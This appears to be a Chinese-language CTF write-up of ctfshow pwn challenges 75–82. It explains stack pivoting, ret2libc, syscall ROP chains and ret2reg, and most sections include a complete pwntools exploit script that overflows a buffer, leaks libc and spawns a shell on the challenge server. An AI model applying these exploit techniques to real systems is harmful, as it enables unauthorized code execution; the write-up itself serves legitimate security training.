pwn75栈迁移

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

题目提示”栈空间不够怎么办”,可以用栈迁移

栈迁移原理是利用两次leave ret先将ebp的值修改为输入shell的地址,再利用第二次leave ret将esp的值改为ebp的值,pop ebp将此时栈顶的值弹入ebp中,esp+4执行ret也就是pop eip将当前栈顶内容弹入执行流,使我们压在栈上非返回地址处的地址也可以执行达到控制执行流的效果

观察程序

漏洞函数:ctfshow

1
2
3
4
5
6
7
8
9
10
11
int ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Welcome, %s\n", s);
puts("What do you want to do?");
read(0, s, 0x30u);
return printf("Nothing here ,%s\n", s);
}

两次输入,但是只有8个溢出字节,显然不太够用所以想到第一次read泄露ebp的值,第二次read将get shell程序写到栈上最后两次leave ret返回起始输入地址执行代码

第一次read

1
2
3
4
5
io.recv()
io.send(b'a'*(0x28-1)+b'b')
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4).ljust(4,b'\x00'))
print('ebp>>>'+hex(ebp_addr))

注意,在ida中s虽然只有36个字节的空间,但是其到ebp的距离仍然是0x28,不要写成36了

得到ebp地址是为了计算栈上起始输入数据存放的地址

第二次read

1
2
3
4
5
s_addr=ebp_addr-0x38
sh_addr=s_addr+0x10

payload=b'aaaa'+p32(system)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
payload+=b'a'*0x10+p32(s_addr)+p32(leave_ret)

程序里有system函数我们直接用即可,但是没有/bin/sh所以需要手动压入/bin/sh其中s_addr即为起始输入地址,用其覆盖掉ebp再将返回地址修改为leave ret加上函数调用结尾自带的leave ret即可达成栈迁移

我们利用gdb进行调试来确定二者的偏移

1

输入aaaa后可以看到输入位于0xffffd160处,ebp的值为0xffffd198此处注意我们最后修改的是ebp的值而不是ebp的地址所以此处偏移是用ebp的值减去输入位置的地址即0x38

因为迁移后esp会加4故前4个地址无效

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
context(os = 'linux', arch = 'i386', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28252)
elf = ELF('./pwn')
io.recv()
io.send(b'a'*(0x28-1)+b'b')
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4).ljust(4,b'\x00'))
print('ebp>>>'+hex(ebp_addr))
leave_ret=0x08048766
system=elf.plt['system']
s_addr=ebp_addr-0x38
sh_addr=s_addr+0x10

payload=b'aaaa'+p32(system)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
payload+=b'a'*0x10+p32(s_addr)+p32(leave_ret)
io.send(payload)
io.interactive()

pwn76栈迁移

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序静态链接,进入程序观察实际没开canary,自带shell需要满足一定条件才能执行,也对应了提示中的叫我们理清逻辑

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-3Ch]
int v5; // [esp+18h] [ebp-28h] BYREF
char s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-4h]

memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("CTFshow login: ", v4);
_isoc99_scanf("%30s", s);
memset(input, 0, 0xCu);
v5 = 0;
v7 = Base64Decode(s, &v5); // v7 = s经过base64解码的长度且要小于等于12
if ( v7 > 0xC )
{
puts("Input Error!");
}
else
{
memcpy(input, v5, v7);
if ( auth(v7) == 1 )
correct();
}
return 0;
}

Base64Decode函数也就是解码s并将解码后数据存入v5,后边又使用memcpy copy到input中,此处的Base64Decode函数不确定的话可以动调输点东西看看是不是

想要get shell需要进入到correct函数,且input 等于0xDEADBEEF

想要进入correct函数需要auth(v7)==1

auth()函数

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(unsigned int a1)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
char v4[8]; // [esp+20h] [ebp-8h] BYREF

memcpy(v4, input, a1);
s2 = calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

返回值为strcmp的返回值是否等于0如果等于则返回1不等于则返回0要想auth(v7)==1就需要保证s2=f87cd601aa7fedca99018a8be88eda34接下来思考如何将s2的值改为这串字符

memcpy(v4, input, a1);表示将input处的a1个字节复制给v4此处有4个字节的溢出刚好可以覆盖ebp可以考虑栈迁移,无法改到v2所以想要达成源码条件执行shell就不太可能了

s2 = calc_md5(v2, 12);s2的内容由calc_md5()这个函数决定

calc_md5()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// a1==v2 a2==12
int __cdecl calc_md5(int a1, int a2)
{
char v3[16]; // [esp+1Ch] [ebp-7Ch] BYREF
char v4[92]; // [esp+2Ch] [ebp-6Ch] BYREF
int v5; // [esp+88h] [ebp-10h]
int i; // [esp+8Ch] [ebp-Ch]

v5 = malloc(33);
MD5_Init(v4);
while ( a2 > 0 )
{
if ( a2 <= 512 )
MD5_Update(v4, a1, a2);
else
MD5_Update(v4, a1, 512);
a2 -= 512;
a1 += 512;
}
MD5_Final(v3, v4);
for ( i = 0; i <= 15; ++i )
snprintf(2 * i + v5, 32, "%02x", v3[i]);
return v5;
}

该函数用于计算一个数据块的MD5哈希值,a1为指向需要计算哈希值的数据块的起始地址,a2为从a1指向的地址开始的数据块的长度,最后返回算出的哈希值

通过满足程序逻辑来获得shell不太容易所以选择用栈迁移,所以将shell布置在input上,通过栈迁移迁移到input上执行

两次leave ret第一次是auth中的leave ret将input的地址弹到ebp中,第二次leave ret是main函数中的将input的地址mov到esp,pop ebp接着ret shell。函数又涉及base64又涉及哈希值看起来很麻烦但是实际上就是一个栈迁移

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import base64
#context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')
io = remote('pwn.challenge.ctf.show',28157)
elf = ELF('./pwn')
#libc = ELF('./1.so')

#gdb.attach(io)
#sleep(4)

shell = 0x08049284
input = 0x0811EB40
payload = b'aaaa' + p32(shell) + p32(input)
payload = base64.b64encode(payload)

io.sendlineafter(b': ',payload)

io.interactive()

pwn77寻址数组

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

只开了nx

漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 ctfshow()
{
int v0; // eax
__int64 result; // rax
char v2[267]; // [rsp+0h] [rbp-110h]
char v3; // [rsp+10Bh] [rbp-5h]
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
while ( !feof(stdin) )
{
v3 = fgetc(stdin);
if ( v3 == '\n' )
break;
v0 = v4++;
v2[v0] = v3;
}
result = v4;
v2[v4] = 0;
return result;
}

会一个一个字节的从标准输入流获取输入到v2中,可以先用puts泄露libc

但是要注意v4的值v4索引数组覆盖0x10C后到v4的值此时v4为0x10C将其覆盖为0x118即可索引到返回地址处

注意要堆栈对齐,64位ubuntu系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,说简单一点就是在将要调用system函数的时候,rsp指向的地址末尾需是0

libc:libc database search

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28196)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
libc = ELF('./1.so')

#gdb.attach(io)
#sleep(1)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi_ret = 0x4008e3
ret = 0x400576
#gdb.attach(io)
payload = b'a'*(0x110-0x4)+b'\x18'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)


io.sendlineafter(b'T^T',payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))


libc_base = puts_addr - libc.sym['puts']

system = libc_base + libc.sym['system']

bin_sh = libc_base + next(libc.search('/bin/sh'))

payload = b'a'*(0x110-0x4)+b'\x18'+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
io.sendlineafter(b'T^T',payload)

io.interactive()

pwn78 64位系统调用

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

程序静态链接有明显栈溢出有很多gadget可以用所以不用mprotect也可以直接构造rop链先调用read读入/bin/sh再调用execve('bin/sh',0,0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28109)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

#gdb.attach(io)
#sleep(4)
syscall_ret = 0x45BAC5
pop_rdi = 0x4016c3
pop_rdx_rsi = 0x4377f9
pop_rax = 0x46b9f8
bss = 0x6c2000
payload = b'a'*(0x50+0x8)+p64(pop_rax)+p64(0)+p64(pop_rdx_rsi)+p64(0x10)+p64(bss)+p64(pop_rdi)+p64(0)+p64(syscall_ret)
payload += p64(pop_rax)+p64(0x3b)+p64(pop_rdx_rsi)+p64(0)+p64(0)+p64(pop_rdi)+p64(bss)+p64(syscall_ret)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

pwn79 ret2reg

ret2reg原理

  1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
  2. 查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
  3. reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)

reg也就对应着rax rdi这些寄存器他们有可能指向栈上,此时栈上又是可执行的就可以在不泄露栈地址的情况下执行栈上内容

check

1
2
3
4
5
6
7
8
9
10
11
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

栈上可执行

main

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
int input[512]; // [esp+0h] [ebp-808h] BYREF
int *p_argc; // [esp+800h] [ebp-8h]

p_argc = &argc;
init();
logo();
printf("Enter your input: ");
fgets(input, 2048, stdin);
ctfshow(input);
return 0;
}

fgets不够覆盖到ebp控制执行流但是ctfshow中有个strcpy将input的内容复制到buf中存在溢出可以控制执行流

ctfshow

1
2
3
4
5
6
void __cdecl ctfshow(char *input)
{
char buf[512]; // [esp+0h] [ebp-208h] BYREF

strcpy(buf, input);
}

1

通过gdb调试发现在ctfshow函数leave ret时eax ecx edx均指向栈上,如果能找到call eax这类gadget就可以执行栈上内容

刚好这题有call eax

所以整体思路:在栈上布置shellcode,利用strcpy溢出控制执行流执行call rax进而调用栈上shellcode

pwn81

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rax
void *handle; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
puts("Maybe it's simple,O.o");
handle = dlopen("libc.so.6", 258);
v3 = dlsym(handle, "system");
printf("%p\n", v3);
ctfshow();
write(1, "Hello CTFshow!\n", 0xFuLL);
return 0;
}

以延迟绑定符号可搜索的形式打开一个共享库也就是动态链接的libc文件,后续用dlsym搜索出system函数地址并存入v3中用printf输出

ctfshow中有栈溢出漏洞,可溢出字节数很多

因为给了system的地址可以直接获得libc基地址所以elf基地址不知道也没关系

libc:libc database search

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
libc = ELF('./1.so')

#gdb.attach(io)
#sleep(1)
io.recvuntil(b',O.o\n')
system =int(io.recvline(),16)
print(hex(system))
libc_base = system - libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x21E25
payload = b'a'*(0x80+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)

io.send(payload)

io.interactive()

pwn82 ret2dlresolve

第一种打法直接32位libc但是这题是学姿势的例题

libc:libc database search

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28296)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
libc = ELF('./1.so')

#gdb.attach(io)
#sleep(1)
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_edx_esi_edi_ebp = 0x08048628
show = elf.sym['show']
payload = b'a'*(0x6c+0x4)+p32(write_plt)+p32(show)+p32(1)+p32(write_got)+p32(0x10)

io.send(payload)


write_addrs = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(write_addrs))
libc_base = write_addrs - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*(0x6c+0x4)+p32(system)+p32(0)+p32(bin_sh)
io.send(payload)
io.interactive()

第二种打法ret2dlresolve见ret2dlresolve这篇文章